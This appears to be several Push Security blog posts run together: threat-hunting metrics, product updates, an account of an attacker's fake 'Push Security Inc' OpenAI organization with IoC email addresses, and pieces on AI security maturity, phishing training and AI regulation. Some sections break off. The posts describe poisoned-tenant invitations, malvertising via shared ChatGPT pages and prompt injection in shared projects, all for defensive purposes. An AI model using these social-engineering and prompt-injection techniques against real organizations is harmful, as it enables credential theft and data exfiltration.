These are the processes behind Push’s identification of ConsentFix, InstallFix, and LLMShare — three browser-based attack techniques Push's team discovered or documented for the first time. In several cases, detections were blocking active campaigns against Push customers before the technique had been publicly documented. Those detections rolled out to every customer within hours or days of first observation.

Outcomes: By the numbers

Looking at the quantifiable outcomes of this agentic threat hunting capability over the last few months, the benefits for customers become clear.

Velocity

Agents allow us to massively scale our research expertise, delivering detections for emerging threats or new variants much faster than humans alone can.

This year already, we’ve tripled the number of new detections shipped to customers.

We’ve also reduced the time it takes to ship production-ready detections for new threats from weeks to minutes.

Detection coverage

With that scaled expertise comes broad coverage. We perform an average of 300+ hunts a month (a mix of live queries for identified TTPs we’re looking for, plus net-new hunts for emerging threats we identify in any given month).

A few other metrics that demonstrate the scale of our detection coverage:

• 75+ attacker tools documented in our KB so far

• 25+ variants of existing attacks we’ve identified and shipped detections for

• 10,000+ monthly sessions analyzed

Protection from emerging threats

On the emerging threat side, our team was the first to identify or document three new browser-based attack techniques — ConsentFix, InstallFix, and LLMShare — shipping detections to all customers quickly after identification.

In that same time frame, we’ve also:

• Protected 60+ customers in the last 3 months who’ve been targeted with novel phishing techniques — identifying never-before-seen techniques, lures, delivery mechanisms, interactions, tools, or attack chains

• Prevented 225+ instances of threats pre-compromise for novel techniques

In all of the above situations, Push customers didn’t have to do anything — no combing through TI to find relevant details, no writing their own detections and tuning out false positives, or spending cycles to unpack a particularly knotty attack chain that used techniques they had never seen before. 

That’s what operationalized intelligence looks like at scale, delivered as a product, not a project.

Learn more about Push

The same foundational capabilities that enable this agentic threat hunting pipeline also deliver other security outcomes for Push customers: gaining visibility and control over AI tool usage; hardening identities by surfacing credential reuse, SSO gaps, and shadow IT; and supporting data loss and insider investigations with browser-layer telemetry that other tools can’t see.

If you’d like to learn more, book a demo with our team.

• Clipboard blocking

• File download blocking

• File upload blocking & telemetry

• App categorization

Prevent sensitive data from being copied and pasted

You can now block clipboard copy and paste operations containing content that is unauthorized, sensitive, or that doesn’t conform to your security policies using Push’s new Clipboard blocking control.

Push provides content patterns for common data types like API keys, personal access tokens, PII, and other sensitive information you may wish to monitor, warn, or block on. You can also define your own content patterns, or warn or block all clipboard actions for a given URL pattern.

Clipboard events matching your configured rules can be sent to your SIEM or other downstream tool using custom webhook.

Learn more

Block unauthorized or risky file downloads

Push can now block unpermitted or risky file downloads. Configure the File download blocking control to enforce your security policy around when users are permitted to download specific file types or from specific destinations.

You can also use this capability to block downloads of unwanted AI tools.

This feature complements the File download telemetry feed, which allows you to capture all file download events in your environment.

Learn more

Block file uploads and alert on file upload activity

You can also block file uploads using the new File upload blocking control, and consume a telemetry feed of all file upload events in your environment using File upload telemetry.

For example, you may wish to block or warn users when they attempt to upload files that could contain sensitive information, or stop them from uploading files to AI apps that pose a risk for data loss or security incidents.

The complementary telemetry stream for this control allows you to consume events for all file uploads in your environment.

Learn more

App categories now automatically applied

Push now automatically categorizes the apps in your inventory and new apps it observes.

You can also use these categories to power App banner rules. For example, you may wish to block all file-sharing or AI apps except the ones you allow.

Learn more

What happened

The invitation

In recent weeks, several Push Security team members have received multiple waves of emails from OpenAI inviting them to join an organization called "Push Security Inc". 

The emails came from OpenAI's legitimate notification address (noreply@tm.openai.com), passed all standard email authentication checks, and referenced our company by name. They looked exactly like a routine organizational invitation because, technically, they were one.

The invitations were sent by various accounts registered under email addresses that had no affiliation with Push. 

OpenAI's invitation email did include a warning — "The inviter's email domain, gmail.com, does not match your domain, pushsecurity.com" — but that's a single line in an otherwise completely legitimate-looking email from a trusted platform. The invitation targeted specific employees by their work email addresses, suggesting the attacker had done some reconnaissance on our team. 

One click, no credentials

After discussing internally I decided to investigate further by accepting the invite. The acceptance was instant (one click, no credentials or additional authentication). This was particularly notable because it was done from an entirely separate browser to my typical work profile. I wasn’t already logged into ChatGPT from the browser, but clicking the email link was all it took to join my account to the attacker's organization. 

I landed on a confirmation page telling me I'd been added to "Push Security Inc."

What the attacker had set up

Within the organization, the attacker's account appeared under the name of Push's CEO. 

It's something of a rite of passage for new Push employees to receive scam texts from someone impersonating Adam, usually with an urgent request that inevitably leads to gift cards. But creating a fully configured SaaS tenant under a CEO's name and inviting specific employees into it is a different level of effort entirely.

All invited team members had been assigned the "Owner" role, giving them full administrative access to the organization. A Visa credit card was attached to the billing account.

The response

We spotted the attack straight away and raised the alarm internally before deciding to investigate. Several Push employees had been invited to the tenant but either hadn’t seen the emails, or the wrong email address had been added for the employee. 

By joining the tenant, I was able to see the other employees that had been added, enabling us to speak to each employee to confirm. We could also see that they hadn’t joined the tenant since they were all “invite pending” status. Confirming that nobody had joined (and thus used) the platform was the extent of investigation required. 

We also implemented mail rules to block similar invites from reaching Push employees in future. 

What's the payoff for an attacker?

The attacker created an OpenAI organization, named it after our company, attached a credit card (which we believe was likely stolen — it's hard to see why a legitimate card would be used for this purpose), researched specific employees, and sent targeted invitations. That represents a non-trivial investment of effort. So what was the endgame?

Get employees using the platform — then harvest what they put into it?

An attacker who just wants to spray scam content through a trusted email channel doesn't name the organization after their target, research individual employees, or attach a credit card. 

That investment only pays off if employees actually join the organization and start using it. And on an AI platform, the data people put into prompts can be extraordinarily sensitive — source code, internal documents, customer data, security research, strategic plans.

If someone on the team had assumed "oh, we've got a company OpenAI org now" and started running work through it, the attacker would be sitting on a live feed of that activity as an org administrator with access to usage logs and API interactions.

The stolen credit card removes a friction point that might otherwise tip someone off: if there were no billing set up and employees hit a paywall when trying to use the API, they'd start asking questions internally about who created the org. A pre-funded account removes friction and the chance to discover that something is up.

SAMLjacking a poisoned tenant?

In August 2023, we published SAMLjacking a poisoned tenant, which demonstrated how an attacker could register a tenant on a SaaS platform using a target organization's name, invite employees to join it, and then leverage that foothold for further attacks — in that case, by configuring a malicious SAML identity provider to harvest credentials. The technique is cataloged in the Browser & Identity Attacks Matrix (originally the SaaS attack matrix) as an initial access technique — and when combined with SAMLjacking, it becomes a lateral movement vector too.

The gist is that once an employee has joined an attacker-controlled organization and is treating it as a legitimate company resource, the attacker has a trusted channel for further social engineering — a follow-up message asking team members to connect their SSO, or to authorize a third-party integration that requires OAuth consent.

This is exactly the attack chain we described in the original SAMLjacking post, where a poisoned tenant on a seemingly low-risk platform becomes the entry point for credential harvesting via a malicious SAML configuration.

Based on my research I don’t think this exact scenario is easily possible in the specific context of OpenAI / ChatGPT since domain verification is required in order to enable SAML. However, there are other options to consider. 

Substituting SAMLjacking for project-jacking?

We’ve recently reported on attacks like LLMShare that interestingly also abused ChatGPT — in this case, abusing chat sharing functionality to distribute both malicious instructions and convincing-looking designs that trick the user into navigating to an attacker-controlled site hosting a malicious payload. 

In the cases we observed in the wild, links were distributed via malvertising. But you could see a scenario in which shared projects or conversations are seeded with chats containing malicious links. Or even perhaps malicious instructions in shared projects (effectively a form of prompt injection). In this way, attackers could trick the user into running malicious commands that interact with other connected apps such as their email, calendar, and a long list of cloud services with access to sensitive company data. 

AI apps are increasingly the work hub for modern enterprise users, even more so than something like M365 or Google Workspace once was. AI apps acting as the control plane for automation and orchestration across business apps are a security nightmare if compromised — if a user could be tricked into using the attacker’s tenant, connecting it to business apps and accounts, and then inadvertently running malicious instructions, the possible attack scenarios are extensive.

This isn't an isolated technique

Our experience is a specific instance of a broader trend: attackers weaponizing the invitation and notification features built into SaaS platforms to deliver social engineering through trusted channels. 

In January 2026, Kaspersky reported a cruder abuse of the same OpenAI invitation feature. When you create an OpenAI organization, the platform lets you set the organization name to any arbitrary string. Attackers exploited this by stuffing scam content directly into the org name field: fake subscription renewal notices, fraudulent phone numbers for vishing callbacks, and links to adult services. In that case, the org name was the payload, while in our case, the email was the delivery mechanism for a legitimate-looking poisoned tenant. 

In April 2026, Cisco Talos published research on what they termed "Platform-as-a-Proxy" (PaaP), documenting the same technique across GitHub and Jira — phishing lures embedded in commit messages, welcome messages, and other user-controlled fields that feed into platform-generated notification emails. At its peak, Talos estimated approximately 2.89% of emails sent from GitHub on a single day were associated with this activity.

What’s clear is that attackers are abusing SaaS platforms that let anyone create organizations, name them whatever they want, and send invitation emails through the platform's own mail infrastructure. 

What you can actually do about it

The defensive challenge with poisoned tenant attacks is that they exploit legitimate platform functionality delivered through legitimate sites. There's no malicious URL to block, no spoofed domain to detect, and no attachment to scan. The invitation email is, by every technical measure, genuine. That said, there are practical steps that reduce the risk. 

Get visibility into SaaS organization membership

Most organizations have no visibility into which SaaS platform invitations their employees are receiving or accepting. If an employee joins an attacker-controlled Slack workspace, OpenAI organization, or Jira project, the security team typically has no way to know. Any tool that provides visibility into SaaS account creation and organization membership — whether through browser telemetry, IdP monitoring, or platform API integration — closes a significant blind spot. 

Train for invitations, not just phishing

Generic phishing awareness training doesn't cover this scenario well, because the emails genuinely aren't phishing in the traditional sense. They're legitimate platform notifications carrying an illegitimate invitation. Employees need to understand that an email from OpenAI, Microsoft, GitHub, or Atlassian can be both technically authentic and part of an attack — and that joining an organization on any platform is a security-relevant action that should be verified through an internal channel before accepting.

Can you protect against domain squatting?

In some cases, you can register your organization name on a platform to prevent others from claiming it, even if you don't plan to use the platform's organizational features immediately. That said, in others you can have lots of tenants with the same name, and there are no protections around companies claiming a tenant ID impersonating your own — as in this case, where an attacker with a random email address was able to create a realistic-looking Push Security tenant. 

Lobby vendors to do better

Platform vendors need to improve invitation controls. OpenAI does include a warning when the inviter's domain doesn't match the recipient's domain, which is better than nothing — but a single line of text in an otherwise polished invitation email is easy to miss.

Platforms should consider requiring domain verification before allowing an organization to use a company's name, adding more prominent warnings for cross-domain invitations, or allowing enterprise customers to restrict which organizations their employees can join.

The bigger picture

When we published the poisoned tenant technique in 2023, it was a theoretical attack that we hadn't seen used in the wild. Three years later, we've experienced it firsthand, and the technique has moved from our attack matrix to our incident log.

The explosion of SaaS platforms in enterprise environments (particularly with the force multiplier that is AI), each with their own organization and invitation features, has created a sprawling attack surface that most security teams aren't monitoring. Every platform that lets anyone create an organization with any name and invite anyone to join it is offering attackers a trusted delivery channel.

And as AI platforms like OpenAI become standard tools in the enterprise, the value of a poisoned tenant on those platforms — with access to prompts, API usage, and potentially sensitive data — grows significantly.

It's good that we spend our days thinking about this stuff — the attack was caught quickly because the team is wary of exactly these kinds of techniques, and no data was exposed. The next organization targeted with this technique may not have that advantage, especially if the attacker's tenant sits in the background while employees unknowingly feed it data through their normal work.

IoCs

We’ve identified the following emails associated with the campaign so far (at least, in terms of the attacks directly targeting Push):

• phamvankim2133@gmail[.]com

• adam.bateman_928@faeththeraputics[.]email

• amelindashaffer99495@gmail[.]com

However, the real list is likely to be much larger. We’ve confirmed that similar messages have also been received by Push customers. But it's not like you can easily block access to the tenants themselves — they are "legit" OpenAI tenants, using the normal OpenAI domain. And since a new one is being spun up each time, no two attacks will look the same.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

The 2026 Verizon DBIR quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. Push data further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what's going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).

The average organization now has 16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.

These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can't produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. 

That gap between awareness and capability is where most organizations are stuck. And understanding why they're stuck requires a framework for what progress actually looks like.

A model for measuring what most organizations already feel

Chris Cochran's SANS AI Security Maturity Model, published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:

• Protect AI: Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.

• Utilize AI: Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.

• Govern AI: Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by regulatory pressure.

How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.

The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:

• Stage 1 (Unaware / Ad Hoc) is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There's no policy to violate, so technically it's not even shadow AI yet; it's just unmanaged adoption.

• Stage 2 (Reactive / Policy-Emerging) means a policy exists, but it's course-grained: "Don't use AI" or "use with caution." Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don't have dedicated expertise or tooling.

• Stage 3 (Defined / Risk-Informed) is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.

• Stage 4 (Managed / Integrated) means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.

• Stage 5 (Optimizing / Adaptive) is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.

Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. 

The model is pragmatic about these challenges. It doesn't expect every organization to reach Stage 5, and it adjusts maturity targets by sector. 

But it does require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.

The chasm

For the organizations sitting at Stage 2, current state often looks like this: They've written an AI acceptable use policy, and maybe they've blocked known AI apps at the network level. They've trained employees on what's allowed and what isn't. 

To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. 

SANS calls the pattern that traps most organizations at Stage 2 the "Framework of No." 

"A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the 'Framework of No,' and it is why the Stage 2 to Stage 3 transition is so critical."

This is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what's happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.

The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: "You cannot write an effective AI policy without knowing where sensitive data lives," the report emphasizes.

These are visibility and measurement problems before they're policy problems. You can't govern what you can't see. You can't classify risk you can't measure. And a blocklist that pushes usage underground doesn't give you either: it just makes the gap between your policy and your reality harder to detect.

Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.

Governance is key, but don't forget about protection

Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the Govern pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It's important work.

But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: Protect - defending against AI-enabled attacks.

The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. 

By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. 

By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven't started scoping, much less building or procuring.

These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. One in three phishing payloads intercepted by Push arrive outside of email, through channels where most security controls don't exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:

• CrowdStrike's 2026 Global Threat Report documented a 563% increase in ClickFix lures — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.

• Push has tracked a 37x increase in device code phishing since the start of 2026, with 18+ distinct kits now offering the technique.

• Anthropic identified 793 threat actors using AI for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that 44% of AI-assisted initial access was phishing-related.

Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can't see.

The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.

Why governance alone can't close the gap

An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and still be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn't stop the attack. The policy existed but the detection (and ideally, mitigation) didn't.

The reverse is equally true, and it's why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. 

Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. 

Closing the gap requires a control point where both problems are visible and addressable.

Crossing the chasm requires addressing both pillars at once

The bottleneck for most security programs isn't frameworks or strategy — it's data quality. For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.

AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.

For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:

• which AI apps are in use (including personal account usage)

• what data is moving into them (file uploads, clipboard activity)

• graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow/deny

The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.

We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.

Where to start: 5 steps to maturity with Push

The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here's the starting plan that I'd recommend, and Push can provide the tooling to automate these steps:

1. Build an AI inventory automatically. Every stage transition in the SANS model starts with knowing what's in your environment. A manual survey won't cut it; employees won't self-report the tools they're not sure they're allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.

2. Classify what you find. Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can't write an effective AI policy without knowing where sensitive data lives.

3. Turn on browser-layer detection. This is the step most organizations skip, and it's why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there's no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.

4. Move from blocking to graduated controls. The Framework of No fails because it's binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what's happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.

5. Assess yourself honestly against evidence, not aspiration. The SANS AI Security Maturity Model includes a self-assessment and industry-specific weighting profiles. The value isn't in the score, but in identifying which pillar is keeping you from advancing.

The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn't one problem with one solution. It's two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.

Learn more about Push

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Two weeks later, an employee in the marketing department — encouraged by the company's AI adoption initiative — searches Google for "ChatGPT" to access the tool they'd been told to start using. They click the top result, a sponsored ad pointing to a chatgpt.com URL. The page displays a professional-looking ChatGPT service disruption notice: "We're experiencing high traffic right now. Download our desktop app to continue." They click the download button, which redirects to a pixel-perfect clone of ChatGPT's official download page. The file they install is an infostealer.

This scenario is fictional, but the campaign behind it isn't. Push researchers detected and blocked exactly this attack across multiple customer environments. The attackers had used ChatGPT's own code-rendering feature to build a fully designed fake service page hosted on chatgpt.com itself, then drove traffic to it through search ads targeting queries like "chatgpt," "chatgpt free," and common typos. The destination URL was genuine, and the page looked like a real system notice. Every URL reputation check in the world considers chatgpt.com safe, because it is safe — except when an attacker builds a weapon inside it.

No amount of training prepares someone to suspect a legitimate-looking page on a legitimate domain for a tool they've been explicitly told to use.

These scenarios aren’t unusual. We’ve covered multiple campaigns involving LinkedIn-delivered phishing attacks, where attackers compromised LinkedIn accounts and sent phishing links via direct message to first-degree connections — routing victims through trusted sites to a session-harvesting AITM page. The targets had every reason to trust the message: it came from someone they knew, on a platform they used daily for work.

These are the kinds of attacks that organizations are dealing with every single day. And that recent awareness training checkbox makes absolutely zero difference to the outcome. 

What the research actually shows

The evidence on training effectiveness is more nuanced than either side of the debate usually admits — but the conclusion for security leaders is the same regardless of where you land.

A 2025 study from Purdue University involving 12,511 employees at a US fintech firm found that anti-phishing training produced no significant effect on click rates (p=0.450) or reporting rates (p=0.417), with effect sizes below 0.01 across every training modality tested. Trained employees actually clicked phishing links at a marginally higher rate (10.5%) than the untrained control group (9.8%). A separate study of 19,789 personnel at UCSD Health, published at IEEE S&P 2025, found that annual training combined with post-click exercises reduced click likelihood by just 2% — and that employees who completed static training actually had worse phishing failure rates. 

Training vendors have argued that continuous, adaptive, gamified programs produce materially better results, and a 2024 meta-analysis supports the claim that active engagement and repeated practice improve outcomes where annual programs don't. The Verizon DBIR 2025 found that employees trained within the last 30 days were 4x more likely to report phishing than those trained earlier.

But here's the problem that even the best training program can't solve: Every one of these studies — and virtually every phishing simulation platform on the market — tests email-based phishing. The attacks driving the biggest breaches in 2026 don't arrive by email. They arrive through search engine ads, social media DMs, shared AI chatbot pages on trusted domains, and legitimate OAuth consent flows. Continuous adaptive training may reduce email phishing click rates from 7% to 1.5%, but it has nothing to say about an employee who googles "ChatGPT" and lands on a malware delivery page hosted on chatgpt.com.

The deeper issue is structural. Behavioral science calls it the information deficit model: the assumption that people make risky decisions because they lack information, and that providing more information will fix the problem. This model has been debunked across multiple domains, from public health to environmental protection. People routinely engage in behaviors they know are risky — not because they lack knowledge, but because immediate pressures outweigh abstract training from months ago.

Training can build security culture, help employees understand why controls exist, and create champions who influence peers - and these are important outcomes. What training cannot reliably do is serve as a preventive control for split-second decisions made under cognitive load, time pressure, and competing priorities. To make matters worse, most organizations don't even attempt to measure whether it does. 

The attacks training can't address

Even if the training debate were settled — even if continuous adaptive programs reliably reduced email phishing click rates to near zero — the attacks driving the biggest breaches in 2026 don't look like anything a simulation platform tests for.

The LLMShare campaign described above used a genuine chatgpt.com domain to serve a fake page that looked like a routine system notice — no suspicious URL, no grammatical errors, and no visual tells. ClickFix attacks present as routine CAPTCHAs. ConsentFix operates entirely on legitimate Microsoft infrastructure. Device code phishing asks users to enter a code on a real app page. None of these attacks trigger the signals users were trained to look for, and 4 in 5 ClickFix payloads arrive via search engines, not email.

There are countless scenarios where users performing seemingly benign actions on plausible (or even legitimate) sites can result in a compromise. 

The lesson isn't that employees are incompetent. It's that the attack surface is too broad, the delivery channels are too varied, and the social engineering too convincing for training to function as a primary control — regardless of how it's designed. 

Real-time intervention where attacks execute

The browser is where every phishing attack, credential-harvesting attempt, and social engineering campaign ultimately executes — and where 89% of phishing domains are active for fewer than two days, 95% of attacks use bot protection to defeat automated scanners, and traditional security architectures have a structural blind spot. 

Network tools see encrypted traffic. Endpoint agents see processes and files. Email security sees messages in transit. None of them can intervene when a user is about to enter credentials into a fake login page.

Browser-based detection and response addresses both the prevention gap and the training gap simultaneously. As a technical control, Push detects and blocks phishing pages behaviorally — including AiTM kits, cloned login forms, device code phishing pages, and ClickFix malicious-copy-and-paste events — in real time, regardless of whether the domain is brand-new or the phishing page was delivered via email, social media, or a search ad. 

Push stops the attack as it happens, in real time, before a compromise occurs.

As a contextual education mechanism, Push provides immediate, in-browser feedback when a user encounters a threat — explaining why access was blocked and creating teachable moments at the point of need rather than months before. Every blocked threat becomes a micro-learning opportunity, reinforcing pattern recognition through repetition in the context of the user's actual work. 

Push's in-browser controls are designed to work this way — not by removing users from the security equation, but by making them informed participants. Warn screens with "proceed anyway" options, SSO login guidance, and MFA enforcement prompts respect user agency while providing real-time risk context. Our controls guide covers how security teams can configure these guardrails to match their organizational culture and risk tolerance.

Right-sizing security training

Training's role must be right-sized. It builds culture, shared vocabulary, and explains why controls exist — but it cannot reliably serve as the primary preventive control against sophisticated attacks encountered months later under pressure. 

The Purdue study's authors recommend that "organizations should set realistic expectations about training outcomes and highlight the importance of technical controls rather than human-centered defenses." We agree.

Invest in technical controls where attacks execute — in the browser — to provide real-time prevention, detection, and education. Measure what matters: reduction in successful compromise, detection and response time, and employee reporting rates — not training completion. And stop expecting employees to reliably detect pixel-perfect attacks across every channel and workflow. 

Overrelying on user vigilance isn't a legitimate security strategy: it's blame allocation.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

The regulatory landscape around AI has shifted from theoretical to operational faster than most compliance teams expected. Several regulations are already in force, presenting not just a legal but also significant operational challenge to organizations covered by these regulations.

First, here's a summary of the key frameworks and what they require:

Even if your organization isn't yet subject to these specific regulations, the direction of travel matters. The EU has a track record of setting global regulatory standards: GDPR reshaped data privacy practices worldwide, and the Digital Markets Act is influencing antitrust enforcement well beyond European borders.

The EU AI Act is the world's first comprehensive AI law, and the pattern of obligation categories it establishes is already visible in NYDFS guidance, US state privacy legislation, and the UK's reformed automated decision-making framework. Organizations that build the operational foundations to meet these obligations now will be ahead of whatever comes next, regardless of jurisdiction.

Five obligation categories appear across frameworks

Across these frameworks, the AI-specific obligations cluster into five categories. Individual regulations word them differently and scope them to different sectors, but the compliance actions they require are largely the same.

1. AI inventory and classification

You can't classify AI systems by risk level if you don't know which ones your employees are using. Multiple regulations now require organizations to maintain a complete inventory of AI tools in their environment — whether as part of risk classification, asset management, or third-party risk registers.

Most organizations are dealing with uncontrolled Shadow AI sprawl. We find that the average organization has 16 unique AI apps in active use, 17 unique AI browser extensions, and 17 unique AI OAuth integrations connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the lowest adoption level is actively using two.

2. AI literacy and employee guidance

Regulators increasingly expect organizations to demonstrate that employees understand the AI tools they use — not through annual training alone, but through continuous, contextual guidance at the point of interaction. Several frameworks now require auditable evidence that staff have been educated about AI risks and acceptable use policies. The common thread is the need for ongoing education, not as a one-off compliance exercise, but continuously at the point of interaction.

3. AI data governance and exposure control

Regulations are converging on the requirement for controls over what data enters AI tools. This includes sensitive personal data, health data, and data subject to automated decision-making. Organizations need to know where personal data is being processed by AI and have mechanisms to prevent unauthorized exposure.

4. AI-resistant authentication and phishing defense

AI is making phishing attacks more convincing and harder to detect through traditional means. Several frameworks now require authentication methods that can withstand AI-enhanced attacks, specifically naming phishing-resistant options like digital certificates and security keys over SMS or voice-based authentication. Beyond authentication, organizations need defenses against AI-powered phishing that bypasses the lure-quality signals users were trained to spot.

In the UK, the ICO's May 2026 blog names AI-generated phishing, deepfake social engineering, and credential stuffing as specific threats organisations must address under UK GDPR Article 32. It calls for multi-factor authentication on all remote access, admin accounts, and email, alongside layered defences that assume foundational controls alone are insufficient against AI-powered attacks.

5. Third-party AI risk and supply chain governance

Employees adopt AI tools faster than procurement can track them, and each one that connects to corporate systems via OAuth creates a persistent trust relationship. Regulators now require organizations to know which third-party AI services they depend on, what permissions those services hold, and whether they introduce concentration risk. 

In May 2026, CISA and Five Eyes partners published the first multinational guidance on agentic AI adoption, identifying privilege escalation and accountability gaps as core risks — a signal that AI agent governance will soon move from best practice to regulatory expectation.

How the regulations will be enforced

The consequences extend well beyond fines. EU AI Act penalties reach €35 million or 7% of global turnover for prohibited practices, but the operational impact may bite harder: non-compliant AI systems cannot be placed on the EU market, and providers bear direct responsibility for conformity under Articles 16 and 26 — meaning the CISO who signed off on an AI deployment that turns out to be non-compliant has personal exposure, not just a budget line item.

Italy's implementation law (Law No. 132/2025) goes further, introducing criminal penalties including imprisonment for AI-related offenses like deepfake dissemination.

